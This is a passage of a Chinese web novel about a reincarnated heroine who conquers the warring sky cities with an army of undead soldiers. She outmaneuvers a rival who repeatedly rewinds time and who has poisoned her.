因为在英殊的第六十九次攻略结束之后…… 他再也没有亲身进入攻略世界。 他成为了隐藏在背后操控全局的分系统。 【您已解锁“分系统”权限。】 【欢迎您加入男主系统部门。】 【为提供更精确的高质服务,往后您将以“分系统编号004”的代号活动。】 【请您熟记《男主系统部门规则手册》,以确保您的行为符合规范。】 【现在,请您重复《男主系统部门规则手册》的第一条: “主系统不可能出错,且主系统执行的一切指令皆是为了部门更好的运转。”】 当听到英殊像是机器一样,用同样的语速、同样的语气,一字不差地跟随重复时…… 云月娇不禁产生了一种怀疑。 她不相信记忆会凭空消失,也不相信记忆会被抹除得干干净净。 这世间本来就没有什么忘记。 有的永远不过只是…… 你以为自己不记得了。 裴青异常笃定自己不是那个人。 对黑衫佛子的过去百般排斥。 不外乎是因为…… 主系统抹除了他的记忆,向他隐瞒了那段黑衫佛子的过去。 环顾四周无论身在何处,皆是大雾笼罩的灰色平原,云月娇发出一声冷笑。 之后也不管这是不是在裴青的意识海中,直接动用另一个世界的核心力量,对主系统的权能发起了冲击! 【《男主系统部门规则手册》的第一条:主系统不可能出错,且主系统执行的一切指令皆是为了部门更好的运转。】 【《男主系统部门规则手册》的第十条:当处于紧急状态,分系统应做好随时牺牲的准备。】 【必要时刻,请同归于尽。】 【必、必要时……请、请同归于尽。】 【必要——,请同归于——】 “我只能陪你走到这里了。” 当风暴吹飞了灰色平原上的浓雾,当意识海中的世界一瞬万籁俱寂…… 云月娇得到了一段她不得而知的记忆。 那好像并不属于黑衫佛子,而是发生在……黑衫佛子以后的事情。 那段记忆很短、非常短。 短到只剩下一个画面和五句话。 山林之间,大阵之中。 有一个穿着黑衫的男人,和一把通体银白的光剑。 云月娇是第一视角。 她此时是裴青,也是黑衫男人。 于是,她便是听到自己在说: “如今棋局已成……方法你也已经会了。只要是由身为邪剑的你选择的人,便自会突破规则的局限,想起本不会想起的过去。” “哪怕是回溯前的记忆,哪怕是被主系统所屏蔽的过去。” 黑衫男人的声音悠远。 含了些微笑意,像是缅怀又像是追忆,仿佛等了许久,直到如今,才终于得偿所愿。 “现在我也该去陪她了。” “说好的殉情……” “总不该只有她一个人死。” 94 第94章 ◎觉醒女配拒当后宫的第十九天◎ 那是裴青的记忆。 是仅属于他的感情。 可即使被强大的排斥力从裴青的意识海中驱逐,一瞬回归,骤然转醒后,云月娇依旧感受到了他的沉痛。 那个男人真的死了。 就在同一个地方同一个地点,在那把银白色的光剑旁边,他引爆了元神,自焚而亡。 他选择了同一种死亡方式。 却与她在最后时刻疯狂的大笑截然相反。 直到终末,他都没有再说一句话。 在无声无息间,他化成了灰烬。 云月娇不知道那个男人的名字。 可她清晰地感受到了那股深入肺腑的怆痛,那种说不出话来流不出泪水的悲恸。 因此,在看到同样苏醒后的裴青没有丝毫动摇,依旧满心的攻略任务,见杀她不成,便要强取盛伦,云月娇不由笑了。 她最先只是微微勾了勾嘴角,后来渐渐变成了毫不收敛的放声大笑。 当裴青与她近在咫尺,她看着他面无表情的脸落下了轻飘飘的一句笑言: “我感觉你会后悔。” 当他割断她的袖摆,终于将盛伦重新夺回,轻飘飘的笑言有了重音: “裴青,你定会后悔的。” 他一言不发。 但从那始终镇定冷情的眼神神色,到没有看云月娇一眼的决绝,最后夺回盛伦后没有半点犹疑遁地便走……恍然全是对云月娇的回应。 “他绝对不可能后悔” “没有人会后悔” “攻略必须完成” “其他任何登场角色都可以活,唯独她云月娇——” “必须要死” 周城城主:“这……还追不追?” 云月娇幽幽笑了下,模样貌美,眼神却如恶鬼阴魂。 “追什么呢?” “有什么好追的?” “我都提醒过他带走盛伦定会后悔,是他自己不肯听不肯信,能赖得了谁呢?” 裴青生性狡诈多疑。 他成天在那里猜忌来揣度去。 当初她都亲口告诉他……周城城主与她交情匪浅,看来他自是没有信的,否则今夜也不该功亏一篑。 后来在三十六城联议上她说这世上早已无盛伦…… 也不知道他肯不肯信了。 裴青非要拿走盛伦。 她就让他拿! 他今日带走的,过去欠她的,她定要他日后连本带利—— 一次还清。 云月娇:“不说他了。” 云月娇转回视线,笑吟吟地望向了周城城主。 “三十六城联议来去得匆忙。” “你我之间也没来得及叙叙旧。” 云月娇分明好声好气,连她自己都觉得有些过分亲切温柔,谁知周城城主反倒一副见鬼了的表情。 他砰咚一声直接跪在了足尖前的一尺地,给她行了大礼。 声线还颤颤巍巍:“大人……瞧着如何?” 看着这似曾相识的一幕,云月娇若有所悟。 她轻笑了声后落下评价: “甚好。” “筋骨柔韧……能伸能屈。” “正是……” “当打之年。” …… 周城城主是条聪明的狗。 云月娇三句话超不过十六个字,他一息间心领神会。 话锋不自觉地便捎带上了股肃杀之气,唯模样依旧是那哈巴狗的样子,仰头望向她时每一个眼神都是情深义重,每一个字眼都端得是殷殷切切。 周城城主:“鄙人——恳请为您分忧!” 云月娇不语。 她先是围绕周城城主走了半圈,才慢慢开口: “天上三十六城……分得也确实有些久了。” 周城城主立马接上:“是时候该让它统一了。” 云月娇:“也不知若是我来当这天帝能不能服众……” 周城城主垂眸低头:“不服的通通杀光,剩下的便也就服了。” “你杀?” 周城城主:“有何不可?鄙人贱命一条!生死看淡,不服就干!管他千年老王八,老子睁眼就是干!” 云月娇抚掌大笑,巴掌拍得天响。 “好!说得好!” “什么男人爱人,全都不如一条听话的狗好!” 周城城主还来不及谢她盛赞,便感觉领口一紧,整个人被生提了起来,云月娇那张脸冷不防撞进他眼前。 “……” 坦白说那确实是很美丽的。 可比起她正面硬扛天上城众多城主的实力,她独身深入敌营的魄力,她的胆识和野心,天上城首屈一指的美丽才是最不值一提的东西。 尽管它有毒,致幻,还常常要命。 云月娇:“十日之内,我要看你拿下朔方六城。” 周城城主眼睛都不眨一下:“如您所愿。” “你口气倒是挺大。” 周城城主:“……” 周城城主:“与您初见之日鄙人便放弃了天帝之争,为辅佐您称霸天上城韬光养晦至今。” 周城城主:“如今不过是十日内为您献上朔方六城,远只不过是全了当年鄙人对您的誓约。” 周城城主:“万界之王,鄙人当不起。” 周城城主:“天帝之位,唯有您才坐得住。” 云月娇对他做狗的觉悟和根骨不禁另眼相看。 她满意哼声,松开周城城主的衣襟后手一变幻,一枚城主印便抛给了他。 “去吧。” 周城城主稳稳接住后重重地拍了两下袖子。 再次大手一挥,双手伏地,缓缓跪下。 姿势标准较之当年半*点不差。 “鄙人——定不负使命。” 再行大礼后,周城城主从原地消失了。 他走时带起的风,卷起了凄冷死寂之中的腥臭血气。 云月娇闭眼展臂。 恍然在迎接即将到来的腥风血雨。 …… “也是时候……” “送他们上路了。” 95 第95章 ◎觉醒女配拒当后宫的第二十天◎ 其实在前九百九十九次的回溯中…… 每一次杀死盛伦—— 云月娇都曾短暂地想过一个问题。 “为什么是他?” 为什么偏偏是盛伦? 像是盛伦这种她随便一脚就能轻易碾死的垃圾…… 他怎么会是小说的男主角? 他怎么能成为世界的核心? 他凭什么—— 受到命运的眷顾? 云月娇杀死了盛伦九百九十九次,便生出了九百九十九次的困惑。 直到第一千次杀死盛伦后,她终于得出了结论: “无解。” 没有任何原因。 没有一个理由。 倘若非要争论个究竟,说是为什么…… “世界选中了他。” 他不需要是个多特别的人,甚至不需要是人。 哪怕是只蚊子,只要被选中,他都能成为世界的主角。 当时……云月娇只觉得这也太不讲道理了,她试图推翻这荒谬的结论,但结果显而易见: 哪怕她杀死盛伦两千两百七十二次,他依然是世界的核心,小说的主角。 被选中的人,永远不会死。 好像是从那一刻起……云月娇明白了一个道理。 荒谬的世界不能诉诸以常理。 所以像是什么隔壁攻略世界说的……保护好核心,和他拉关系套交情,待到有朝一日利用他的力量去反抗主系统、反抗男主系统部门—— 云月娇只道是荒唐。 要是想得到世界核心的力量,首先便要干掉主角! 如果要干掉主角,首先定要成为主角! 是,她云月娇本只是一个连成长线都没有后宫女配。 可是……她也好像不需要什么成长线。 因为她要走的…… 是滴苦不吃的…… 爽文剧情。 云月娇挥了挥手,那将她挡于门外风丝不透的金制城门便应声倒下。 烟尘之中,紧张的气氛油然而生,惟她的声线不紧不慢,从容得像是回自己家一样。 云月娇:“疆城城民们。” 云月娇:“你们该出来迎接新城主了。” …… 说起这疆城……倒确实与三十六城联议很有渊源。 这一次的三十六城联议,新任疆城城主死在云月娇手下,城主印便也落在了她手里。 至于上一回……则是那疆城城主想当天帝想疯了,动用了上古邪术,将邻近三城的数百城民炼成了尸,于是大家伙开了个会,商量着把疆城给屠了。 当时……屠是屠平了。 可人间凡尸难死,天上城用神仙炼成的活尸更难。 联军见搞又搞不死,活又活不了,最后索性把这群活尸给圈了起来,封印在城里。 至此以后,疆城式微,日渐在天上城销声匿迹。 再无人见过疆城活尸。 只时不时冒出个空有头衔的疆城城主,不是被觊觎疆城的野心家杀死,便是被手底下的活尸杀死。 但时至如今…… 这不断重复的轮回也该到头了。 她云月娇既然收下了这枚城主印…… 那便要连这疆城的活尸一共收入囊中! 当年被整个天上城所忌惮,又被数城联军所围剿的疆城活尸销声匿迹了足足五百年。 今日……也该出门开开荤了。 “既然你能开疆城金门,便证明你的确手执疆城城主印。” 烟尘之中,有一道瘦削身影由远至近逐渐清晰。 当风止烟散,方才看清独独为首者与常人无异,他身后高高低低的黑影……尽是些邪祟怪物。 毕竟当年被炼城活尸的城民……除了人,也不乏神魔精怪。 “但空有城主印不够。” “从五百年前开始,曾有三十一位持城主印者来到疆城。他们以城主自居,却无一能成为真正的城主。” “唯有通过我们的考验之人,方有资格做新疆城之主。” 云月娇能安安静静地听他说话到现在,已是给足了他面子。 但到最后那一句话,她实在是忍不住,像是听到了什么天大的笑话般扶额大笑。 她笑声猖狂,回声响彻全城,本就紧张的氛围更是顿时被拔高了一个度。 偏偏云月娇毫不在乎。 她的掌根从额头上放下来后,嘴边仍带着揶揄笑意。 “考验?” “是,是应该要有些考验的。” “但不是你们考验我。” “而是由我——来考验你们。” 话落!云月娇手臂落下,疆城金门顿时化为乌有。 阵眼一毁,阵法顿破。 困了疆城活尸五百年的五行阵,一息之间土崩瓦解。 云月娇素来没有气量。 今日自然是连半个亏都不肯吃,因而那话……当然得是原原本本全数奉还。 “出城门者,方有资格做我的子民。” “出不去的……” 她扯了扯嘴角,每一个字眼都轻柔无比,个中杀意却飘着腥风血雨。 “今日便死在这里吧。” “听说活尸不好杀。” “我今日倒要看看……” “所谓疆城活尸,到底是有多不好杀。” 96 第96章 ◎觉醒女配拒当后宫的第二十一天◎ 这疆城活尸……还确实真的很不好杀。 云月娇分了点心思出来,一路不紧不慢地数了数。 疆城活尸最初共计一百六十五具。 从她手下死过了出城门后又活了的有一百六十三具。 也就是说……她砍了老半天,不过只杀了两个硬骨头。 云月娇眉心微微收拢,不由咂舌,总觉得不太满意。 可她刚要开始认真点,这天地间忽而安静了。 抬眸望去,只见以云月娇为中心的方圆十丈内空空如也,不久前还生龙活虎、好像一个二个全活过来的疆城活尸,纷纷退至十丈之外。 便是在她视线扫过去的那一个瞬间,他们不约而同地匍匐在地,卑微如虫豸,却声如洪钟: “疆城子民——参见疆城城主!” 云月娇垂眸看着眼前乌压压的一群,默然不语,唯独眼神恍然勘破了一切,不声不响时恍然戏台下等着看戏的观众。 疆城活尸坚守了五百年不曾认新主。 怎么可能就这么一时三刻的功夫……突然幡然悔悟了呢? 这戏演得……可真不走心。 云月娇笑了下。 她是不急,但有人急。 作为疆城活尸的统领,同时也是最初与云月娇对话之人,在一声“禀报城主”过后,蓝星言在云月娇面前单膝跪下,语气微急。 蓝星言:“疆城五行阵已破半日,想必幽城很快便会派人前来查看。” 云月娇的头点是点了,隔了几息再开口时,声音里听不大出其中情绪。 “所以呢?” 蓝星言悄觑了她一眼,之后马上低头汇报:“幽城是距离疆城最近的城池,近五百年来,疆城的五行阵也是幽城代为管理。” 似担心云月娇仍听不懂,更怕那幽城使者下一秒便到,云月娇转头便把人给杀了,蓝星言加快了语速: “区区一个幽城虽不足为虑,但其背靠天上城南部联盟。若是让他们得知疆城有主,来日……恐怕不会太平。” 蓝星言本以为这一番话出口,这位新城主怎么也该开始正色。 却不想后者竟是不以为意地笑了下,还招了招手唤来他身后的羊怪活尸,让他跪下后,自己毫无芥蒂地坐了上去。 云月娇:“说说,怎么个不太平法?” 蓝星言斟酌了下语气。 “怕是会……五百年前旧事重演。” 他弯腰俯身,行大礼请命:“若得城主大人信任,我有一计可避开祸事,保您与疆城平安无虞,远离这天上城的战乱纷争。” 蓝星言话音落下后,四下忽然沉寂了。 正当他快要忍不住抬首望去时,却听新任疆城城主终于发话了。 她是笑着开口的。 气息……却变了。 “试探我……” “是不是挺有意思的?” 蓝星言:“城主大人言重!我们岂敢……” 他话尚未说完,眼前忽而掠过黑影。 大脑还没反应眼前怎么云月娇突然消失,他的嘴唇已是先被她柔软的食指指腹轻轻点了点。 云月娇动作轻,语气也轻,四下却一瞬死寂如入万人坑。 风拂过颈侧,恍然有无数把冷刀横在了脖子边。 云月娇:“前面三十一位城主你们都不满意,杀的杀,流放的流放。” 云月娇:“既然你们说要考验,我便耐着性子,陪你们打。” 云月娇:“可如今打完了,你们却用些什么……平安无虞、远离纷争来试探我。” 云月娇:“我知道你无非就是想听我说,幽城使者有一杀一有二杀二,挑了它南部联盟后称霸整个天上城。” 云月娇:“给你们一个许诺倒也不难。只是你们接二连三地试探我……这也实在太放肆了。” “我确实看中你们。” “只是我的耐心……” “也是有限的。” 说到这里时,云月娇恍然大悟般“啊”了一声,接着转头笑笑望向他们。 云月娇:“你们该不会真的以为……” 云月娇:“疆城活尸,我只能杀两具?” “……” 蓝星言上一秒本还是汗流浃背的样子,这一秒冷不丁换了个模样,像是突然变了个人。 只见他同样笑笑,再开口时已丝毫不见方才的卑微低贱。 蓝星言:“世人只道疆城活尸不过区区工具,五百年前疆城城主一死,便再未有人知我等称霸天上城的野心。” 蓝星言:“敢问,您是如何发现的?” “怎么发现的……” 云月娇轻喃。 她素手抽出蓝星言腰间弯月仙刀,前后比划了一下后,突然以迅雷不及掩耳之势斩断了他的脖子! 血不溅一滴,切面干净利落。 垂眸俯视屹立不倒的躯干,云月娇不紧不慢地评价道: “这刀用来砍人。” “着实也太锋利了。” 蓝星言被她一句话说得恍惚。 只有时刻在等待机会的人,才会不断磨刀,保持刀刃锋利。 疆城活尸自被五行阵封印起已有五百年。 身陷囹囫也已有五百年。 这五百年间……其实倒也不是破不了五行阵。 他们只是在等。 等一个人。 他非但要有资格、有实力成为他们的主人。 更要有称霸天上城的野心! 五百年前,称霸天上城的梦起。 时至如今。 沧海桑田,直到历经三十一位持城主印者后的当下—— 才总算是……让他们等到了。 表演时间已经结束! 如虫豸一般匍匐在地的疆城活尸纷纷站起。 身为征战四方的战士,他们昂首挺胸,唯有面对认可的主人时,方才垂下头颅,庄严郑重地行出征礼。 意将一切奉上。 只为成就千秋霸业。 这一刻,一百六十三具疆城活尸异口同声!声势直冲云霄! “疆城旧部,恭迎天帝——!” 蓝星言断头不死。 头在说话,身体却不知道从哪里掏出来一破旧袋子。 “人人皆道疆城活尸难杀,却不知疆城活尸也有命脉。” “一百六十三人,一百六十三块木牌。” “牌在人在,牌毁人亡。” 蓝星言双手高举,将命门亲手向云月娇奉上: “疆城旧部部将蓝星言——” “向您赔罪。” 云月娇素来没有气量。 一百六十三块木牌非但收了,蓝星言曾对她说过的话……也原封不动全数奉还。 云月娇:“听说幽城使者将至,来日……恐怕不会太平。” 蓝星言顿时失笑。 他引领众疆城旧部向她单膝跪地。 顿时烟尘滚滚,黄沙飞扬犹似战云弥漫。 “必将幽城首捷——” “作为您的献礼。” 97 第97章 ◎觉醒女配拒当后宫的第二十二天◎ 五百年前横空出世、当年能逼得天上城的城主们要特地为此开了个三十六城联议的疆城活尸……确实有些本事。 当日宣言立下,当即兵分两路。 一路留下善后,杀南部联盟使者,封锁疆城消息。 一路直奔幽城,直取城主项上人头。 六日后—— 云月娇如约收下了幽城的城主印。 同一时间,另一边远在万里之外的周城城主也是速战速决。 十日未到,他连取朔方六城的事迹,已是天上城人尽皆知。 可纵是云月娇顺风顺水,周城城主流星赶月。 若要论起动作快…… 那当真没有人能比得过他裴青了。 也不知道是使了些什么手段,仅用两日,他便让垂涎天帝宝座已久的天上城中部霸主退居幕后,主动禅位。 再是两日,就将盛伦推上了雍城城主之位。 最后两天,则是平息了中部的争议,让“盛伦必将一统天上城,开拓先河,成为首任天帝!”之言…… 传遍了整个天上城。 云月娇自然也听到了。 她听闻时人正坐在幽城城主殿的最高点,手里把玩着幽城的城主印,漫不经心地听着幽城城主临死前,那垂死挣扎般的疯言疯语。 “你今日夺我性命,来日也必定有人会去杀你!” “盛伦必将是下任天帝,他是天命所归命中注定的王!一统天上城的人注定是他,绝不可能是——” “砰——” 蓝星言一声不吭砍掉了幽城城主脑袋后抓起了前者的头发,接着单膝跪在了云月娇的眼前,向她请命: 蓝星言:“幽城城主已经伏诛。” 蓝星言:“现请您指示下一步行动。” 许是见云月娇不语,蓝星言抿嘴默了默后,又补上了最尾的一句话。 蓝星言:“您不必在意他的话。” 云月娇轻轻哼笑一声。 在意? 这怎么会在意呢? 倒不如说……得感谢幽城城主给她提了个醒。 如今盛伦声势如日中天,她也不能再坐视不理了。 毕竟从来没有一个主角,会被配角,压过风头。 既然四处传他盛伦将是下任天帝,那她就要比他传得更响、更远。 非但一个天上城,她要让天上地下,无所不知无人不晓! 云月娇分了个眼神给幽城城主狰狞的脑袋,语重心长地告诫蓝星言: “做人高低要留一线,我们也不能太像反派。” 换了其他任何人说这句话,蓝星言恐怕都不会愣那么一下。 但他的语滞也不是那么明显,因为他极快便低头请示:“请您赐教。” 谣言总是在真相面前不攻自破。 能把流言传得若有其事,是裴青他的本事。 可有时候,事实总是胜于雄辩。 就算他玩再多的把戏…… 也终究挡不了,她的大势所趋。 云月娇:“放话出去。” 云月娇:“普天之下,莫非王土。” 云月娇:“我所至之处,具是我的疆土!” 云月娇:“天上城三十六城我要一城一城地拿!如今北部已入我囊中,现是南部,再到中部。” “余下二十八城城主……” “主动降伏者——” “不杀!” 蓝星言低头领命:“是。” “疆城旧部必当全力以赴,愿为陛下鞠躬尽瘁,死而后已。” …… 云月娇当日把话放出去后,天上城是一片语笑喧呼。 说她白日做梦的不少,道她不自量力的更有许多。 但也不是过了太久,那些人都笑不出来了。 尤其南部。 初初云月娇携疆城旧部以迅雷不及掩耳之势再下一城时,周遭还有些声音。 说幽城、缘城本就是软柿子,入她囊中不足为奇。 到领地接壤的三任城主因不降而被强势斩杀,依然有人死撑说是她偷奸取巧,但马上气运也该到头了,南部的巨头定不会坐视不理。 然而,当天上城南部足有一半的城主印被云月娇兼容并包,全南部便开始主打一个鸦雀无声。 冷白刀刃已至颈侧。 正应验了当日云月娇在幽城之顶放下的豪言: “主动降伏者——” “不杀。” 安城城主:“安城城主印在此,安城上下愿主动归顺。” 项城城主:“向首任天帝奉上至高献礼。” 缓城城主:“缓城恭候您多时,麾下虎贲军愿誓死追随,成就您千秋霸业。” …… …… 长不过十五天,云月娇直接逆转了下任天帝人选的风向。 她风头正盛,部下大军一时所向披靡、势不可挡。 然而—— 眼见大军将要北上,挥师直入天上城中部之时,任是云月娇也控制不了局面的出现了。 那是不符合常理的手段。 是不属于这个世界的力量。 就在云月娇拿下天上城南部最后一城的当天,她眼前的世界突然在某一个瞬间天旋地转,冷不防就变了个场地,变了个模样。 黑夜一瞬回到白昼。 回到昨日蓝星言来向她请示的时候。 蓝星言:“渊城誓死不降。” 蓝星言:“可否强取?” 曾经听过一遍的……一模一样的话。 曾经发生过一次的……一模一样的场景。 云月娇对此已经熟悉得不能更熟悉了。 “回溯” 这是她迎来的第两千两百七十四次回溯。 这不可能是意外。 一定是裴青杀死了盛伦。 也许这不会是最后一次。 只要裴青想,只要裴青愿意。 他就可以一遍又一遍地杀死盛伦—— 直到把时势拧转成他想要的局面为止。 98 第98章 ◎觉醒女配拒当后宫的第二十三天◎ 云月娇的直觉完全正确。 当她第二次拿下天上城南部的最后一城渊城之后,时间再次倒回到了之前。 不止是之前。 裴青似乎是想要重头来过,直接磨灭掉她所有的功绩,世界一共回溯了六次。 盛伦死在他手里六次。 才终于让局势回到了最一开始、对裴青最有利的时候。 丰功伟绩化为乌有,吃进嘴吞下肚的肉,硬是生生给挖了出来吐了出去,云月娇出奇地一声不吭。 耳边听着蓝星言再一次脱口而出“幽城城主已经伏诛,现请示您下一步指示”,也只是扯了扯嘴角,轻声哼笑了下。 气? 这有什么好气的呢? 她把盛伦拿在手里这么多年,后来拱手相让……自然料想到了这幅光景。 是,“回溯”是很好用不假。 可即便是时光倒流,他裴青也做不成任何事情。 他快,她便要比他更快。 他要先发制人抢占先机,也要问问她肯不肯让出这个主动权! 无论他杀死盛伦多少次,让世界回溯多少次。 哪怕再来一个两千两百七十二,也终究改变不了她的势在必得、胜券在握。 毕竟当初她可是亲口对他说过了…… “这世间再也不会有任何一件事情……” “会如你所愿了。” “裴青。” …… 云月娇首次拿下天上城南部用了足足半个月。 第二三次缩减了一两日。 第四回耗费了不过十日。 至于这如今的第五次…… 从幽城走到当下,距离收服天上城南部只剩下仅仅一个渊城的一步之遥,蓝星言询问她“渊城誓死不降。可否强取?”,她只用了短短七天。 这五次重开的共计两千三百一十三次回溯中,每一次,每一回,云月娇都比裴青快了一步。 他最初只是坐镇中部,遥距指挥。 可到了后面……许是那些“未来天帝另有其人”“新任疆城城主势如破竹无人可挡”的话让他坐不住了,他亲自来到了南部。 但那又有什么用呢? 云月娇每一次与他遥遥隔空相望,他想要的那枚城主印都已入她手。 裴青在已知中寻求变数。 她云月娇也是同样。 她也不是脑子里只有肌肉的战斗狂,不会次次皆强取豪夺。 投机取巧……她只是懒得用,不代表她不会。 云月娇有预感。 第五次的重开,或许会是最后一次了。 因为她会告诉裴青,他所做一切皆是徒劳无功。 论武力,她云月娇是天下第一。 论谋略,她剑走偏锋,见招拆招。 云月娇:“渊城誓死不降……” 云月娇:“这一次,我不强取。” …… 放眼整个天上城南部,也只有这个渊城是根从头到尾都很难啃下的硬骨头。 云月娇过去四次征服南部。 每一次都把渊城放到了最后,每一次都是靠暴力强取了最后一枚城主印。 可偏偏渊城实力深不见底,疆城活尸在他们手里也难讨到好,回回都要她亲自出手,才把胜利的天平强行压向了自己这边。 云月娇见了那渊城城主四次,便问了她四回:“主动降伏者不杀。你为何不降?” 那渊城城主倒是很酷,次次听而不闻,沉默到死。 云月娇起初很费解。 但直到第四次她斩杀渊城城主,却是第一回劈开她脸上面具时,忽而茅塞顿开,如梦初醒。 什么沉默? 那张脸上百折不屈的神色简直将“渊城永不屈服!渊城之人宁可站着死,绝不跪着生!”喊得震耳欲聋。 因而今日。 云月娇命疆城旧部退至三十里地开外,孤身一人来到城下。 迎着红鼓黑焰,个个头戴罗刹面具的射手,唯独云月娇气定神闲,有股到此一游的闲暇。 百里荒原,也只有她一人的声音清朗明亮。 云月娇:“听闻渊城有我知己,故而不辞千里,路远迢迢来到此地。” 云月娇:“白千!” 云月娇:“你出来与我见上一面!” …… 回首往日,云月娇与渊城城主白千总是一打照面就开始厮杀,直到一方彻底不喘气了为止。 所以要说起来……这是云月娇第一次和她对话。 白千的声音透过面具传出来时……总有种沉闷的窒息感。 “我与你无话可谈。” “你若非要渊城,便先踩着我的尸身过去。” 听她大放狠话,云月娇不恼反而笑得痛快。 毕竟这白千……可不是纸老虎。 她死在她手里四次,每一次无一不战至最后一息。 哪怕是她身陨时刻,依旧神刀抵地,站着仙逝,绝不跪倒在她跟前。 白千性格刚烈,正如此刻话音堪落,便从城墙上一跃而下,身先士卒直接杀了过来! 云月娇抬臂挡刀,不紧不慢地与她周旋,声色仍是轻快: “你怎么就这么不待见我?” 白千:“你非天帝良选。” 云月娇哈哈大笑后一字一句认真回道:“你可仔细说说,我愿闻其详。” 白千也不忌讳,还真的说了。 “你嗜杀成性,残暴不仁,非天帝良选。” 云月娇:“从幽城为始,我取一城只杀城主一人,何来嗜杀成性?残暴不仁?” 云月娇:“天上城战乱已久,若说有人能滴血不沾,登顶大统,谁敢信?谁能信?!” 云月娇:“待我一统天上城,终止三十六城千万年来的纷争。届时四海升平,河清海晏,这又何尝不是一种仁善?” 白千皱眉抿唇。 刀风缓了三分,却依然痛斥:“你虐杀双亲,证明你心无人性良知。你背叛仙侣,说明你不守道义。你,绝非天帝良选。” 云月娇:“哈哈哈哈哈!人性良知?不守道义?” 云月娇:“我本以为你白千会是我的知己,却不想也只是那听信一面之言的愚者!” 情绪上来,云月娇也难再留手,骨剑出鞘,眨眼间把白千杀得直往后退。 云月娇:“背叛仙侣?” “他当着我的面与人卿卿我我,放任仰慕他的女人百般羞辱我,甚至不知廉耻地与其他女子共浴。我不杀他,天理难容!” “至于虐杀双亲……” “白千,你难道觉得有人生来便背神凰金血、十五月华?” “这天底下……可不是所有人都当得起父亲母亲这一句称呼。” “他们视我为工具,杀我千百回,我不过杀他们一次,怎么当得起你这般指摘?!” 白千的刀彻底慢了下来。 最后一次与骨剑猛然相撞后,她飞身后退,大刀插地,停了下来。 白千:“你……为何要当天帝?” 云月娇也不再动作。 她站在白千面前,却仿佛在傲视天下万界。 仿佛在这一刻,她便是世界的主人。 “若我忍气吞声装聋作哑,倒也不必这般辛苦。” “但我不愿。” “我不愿给人作配。” “不愿活得浑浑噩噩,死得默默无闻。” “不愿为人后宫,一生与其他女人争风吃醋,只围着那一个男人转。” “我要当这世间的主角!” “我要绝对的自由,要那无拘无缚的人生!” “你渊城、你白千反的是强权压迫。” “而我云月娇反的是那不能改写、命中注定的宿命!” “哪怕再来一百次一千次一万次——” “我云月娇也绝不认命!” 当最后一声激愤的呐喊消失在天边,渊城的城主印终于不再是以强取,而是由白千主动奉上。 历时七天,云月娇完成了收服整个天上城南部的壮举。 这一次,回溯虽没有再降临。 可她却当场吐了口血。 鲜血刺目,云月娇却大笑出声。 她中了情毒。 这情毒云月娇前世也尝过一回。 非灵力至纯者不能解。 若解开,她魔功散尽。 若不解,则日渐消瘦枯槁,最后凋零惨死。 看得出来,裴青为了送她去死,已经是不择手段…… 走投无路了。 99 第99章 ◎觉醒女配拒当后宫的第二十四天◎ 这世上本来已经没有这种情毒了。 说到底云月娇的前世今生隔了成千上万年,能流传至今的东西那已是少之又少。 况且……她总不能被一块石头绊倒两次。 云月娇当年一觉醒便毁掉了全部与情毒有关的旧书古籍,将其连根拔起,硬是连一丁点的痕迹都没有留下。 如今没有丝毫预兆、冷不防便中了招,那必当是裴青的动作。 他让已经消失了的东西重见天日,甚至直接赋加到了她的身上,总不能一点代价都不付。 云月娇是不知道他到底牺牲了什么。 可从那一刻开始,尽管只是隐隐约约的,她仿佛感觉到了世界的流动。 那就好像……那份独属于主角的气运,开始有一点点,转移到了她的身上来。 裴青不惜如此也要给她中下情毒。 云月娇其实多少能够理解。 毕竟盛伦就算离开了她这么久…… 也依旧是这幅模样。 盛伦:“城主大人!呜呜呜呜呜您总算来接凌霄了!” 盛伦:“您不知道这段时间我受了多少委屈!您答应我,从今以后我们再也不分开!” 盛伦:“哈哈!现在城主大人来了,我要把那群不知死活的东西杀光!通通杀光!!!” …… 裴青想方设法复原了盛伦的形貌,却还原不了盛伦的心。 他一口一个自称凌霄。 举手投足再无从前半分的影子。 久别重逢直到如今,云月娇只是抬了抬手,盛伦便咚一声直直跪了下去,他用发顶去蹭她的手心,像一只狗乞求她的怜爱安慰。 这副样子怎么能见人呢? 哪怕只是被人瞧见了一眼,那个人一路以来所有的煞费苦心皆要毁于一旦。 正因如此,继雍城城主禅位,整个天上城中部拥盛伦为主以来,明明身为重中之重,却从来没有人见过盛伦一面。 新城主的所有话全部由下人传递,一切指令借书面发出。 裴青不能让盛伦现身。 他也不敢让盛伦露面。 可盛伦不可能永远藏匿在黑暗中。 于是情毒,便是裴青的破局之计。 若是解开了,她魔功散尽,便如前世一样,所有被魔功洗脑之人反本还原。 若解不开,她中毒身死,同样全了他心中所愿。 两者殊途同归,怎么都将应他所想。 只不过……当那道如竹如松的身影忽而背光站在门外,那道清冷声线说得却是: “我可以解开情毒。” …… 事到如今,云月娇当然不会觉得是裴青舍不得她死。 他心中在打些什么如意算盘……不多不少,她知道得一清二楚。 云月娇不着急拆穿他。 她抬手安抚恨得龇牙咧嘴的盛伦,让他乖乖坐下后,方才不紧不慢地抬眸望了过去。 该说不说……裴青的脸上倒是瞧不出分毫的颓唐。 一如撕破脸皮后她每一回见他时的模样。 永远清醒,永远冷静,永远理性。 可他这幅样子骗得过别人却骗不了云月娇。 毕竟他如果真的那么游刃有余…… 就不会使计把她逼到雍城来了。 “裴青,你有没有发现?” 云月娇收回了视线,指尖拂过桌沿,慢条斯理地往外走出了一步。 “你从来只在有求于我、想利用我的时候,才会主动开口说话。” “其它时候……你要不是眼睛里没有我这个人,要不就是每每一见面就冲杀过来,那是相当毫不留情。若有一丝犹疑,那就绝不是你了。” 谈及此处时,云月娇不禁轻声笑了下。 再抬首时目光又落到了裴青那没有丝毫裂痕,完美得像是面具一样的脸上。 “看来你是真的很急了。” “居然连这事都忘记了,一上来便告诉我,可以为我解开情毒。” 他不躲不避,与她直直对视,那从容不迫的沉着姿态真让云月娇想把他的脊骨折断,把脸踩在地上。 “裴青,你是不是怕了?不敢赌了?” “你怕我一死,魔功却解不开,盛伦没法复旧如初。” 云月娇漫不经心地回首,望向盛伦,语带讥诮:“怕到那时才是真正的无解,所以才选了最保守稳健的做法。” “但你好像没有想过……” 云月娇拖长了话音。 分明是她处于被动劣势,可稳操胜券者……反倒更像是她。 “我是不是愿意,去配合你?” 言尽于此,若置身处地,两者互换位置,云月娇怎么也该开口威胁“纵然是你,身中情毒,也不得不死”,笑里藏刀地胁迫“要想活命,好好配合才是生路”。 然而裴青却连半个类似的字眼都没有说。 他甚至笑了。 像是梅花开在雪中,冷冽寒风中有暗香袭来。 “我知你不愿。” 